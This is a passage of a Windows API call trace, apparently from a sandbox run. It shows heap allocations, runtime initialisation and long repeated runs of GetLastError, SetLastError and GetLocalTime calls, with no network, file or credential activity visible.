[0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1b) returned 0x2cdd20 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1d) returned 0x2cdd48 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x48) returned 0x2cfc08 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x12) returned 0x2cfc58 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x18) returned 0x2cfc78 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1b) returned 0x2cdd70 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x24) returned 0x2cfc98 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x29) returned 0x2cfcc8 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1e) returned 0x2cdd98 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x41) returned 0x2cfd00 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x17) returned 0x2cfd50 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xf) returned 0x2cfd70 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x16) returned 0x2cfd88 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2a) returned 0x2cfda8 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x29) returned 0x2cfde0 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x15) returned 0x2cfe18 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1e) returned 0x2cddc0 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2a) returned 0x2cfe38 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x12) returned 0x2cfe70 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x18) returned 0x2cfe90 [0047.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x46) returned 0x2cfeb0 [0047.060] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d0570 | out: hHeap=0x2c0000) returned 1 [0047.061] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x80) returned 0x2cff00 [0047.061] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0047.061] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x800) returned 0x2cff88 [0047.061] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0047.061] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x409ec9) returned 0x0 [0047.061] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2cff00) returned 0x80 [0047.062] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2cff00) returned 0x80 [0047.062] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2cff00) returned 0x80 [0047.062] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2cff00) returned 0x80 [0047.062] GetLastError () returned 0x0 [0047.062] SetLastError (dwErrCode=0x0) [0047.062] GetLastError () returned 0x0 [0047.062] SetLastError (dwErrCode=0x0) [0047.062] GetLastError () returned 0x0 [0047.062] SetLastError (dwErrCode=0x0) [0047.062] GetLastError () returned 0x0 [0047.062] SetLastError (dwErrCode=0x0) [0047.062] GetLastError () returned 0x0 [0047.062] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.063] SetLastError (dwErrCode=0x0) [0047.063] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.064] SetLastError (dwErrCode=0x0) [0047.064] GetLastError () returned 0x0 [0047.065] SetLastError (dwErrCode=0x0) [0047.065] GetLastError () returned 0x0 [0047.065] SetLastError (dwErrCode=0x0) [0047.065] GetLastError () returned 0x0 [0047.065] SetLastError (dwErrCode=0x0) [0047.065] GetLastError () returned 0x0 [0047.065] SetLastError (dwErrCode=0x0) [0047.065] GetLastError () returned 0x0 [0047.065] SetLastError (dwErrCode=0x0) [0047.065] GetLastError () returned 0x0 [0047.065] SetLastError (dwErrCode=0x0) [0047.065] GetLastError () returned 0x0 [0047.065] SetLastError (dwErrCode=0x0) [0047.065] GetLastError () returned 0x0 [0047.065] SetLastError (dwErrCode=0x0) [0047.065] GetLastError () returned 0x0 [0047.065] SetLastError (dwErrCode=0x0) [0047.065] GetLastError () returned 0x0 [0047.065] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.065] GetLastError () returned 0x0 [0047.065] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.065] GetLastError () returned 0x0 [0047.065] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.065] GetLastError () returned 0x0 [0047.065] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.065] GetLastError () returned 0x0 [0047.065] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.065] GetLastError () returned 0x0 [0047.065] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.065] GetLastError () returned 0x0 [0047.065] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.065] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.066] GetLastError () returned 0x0 [0047.066] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.067] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.067] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.068] GetLastError () returned 0x0 [0047.068] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, 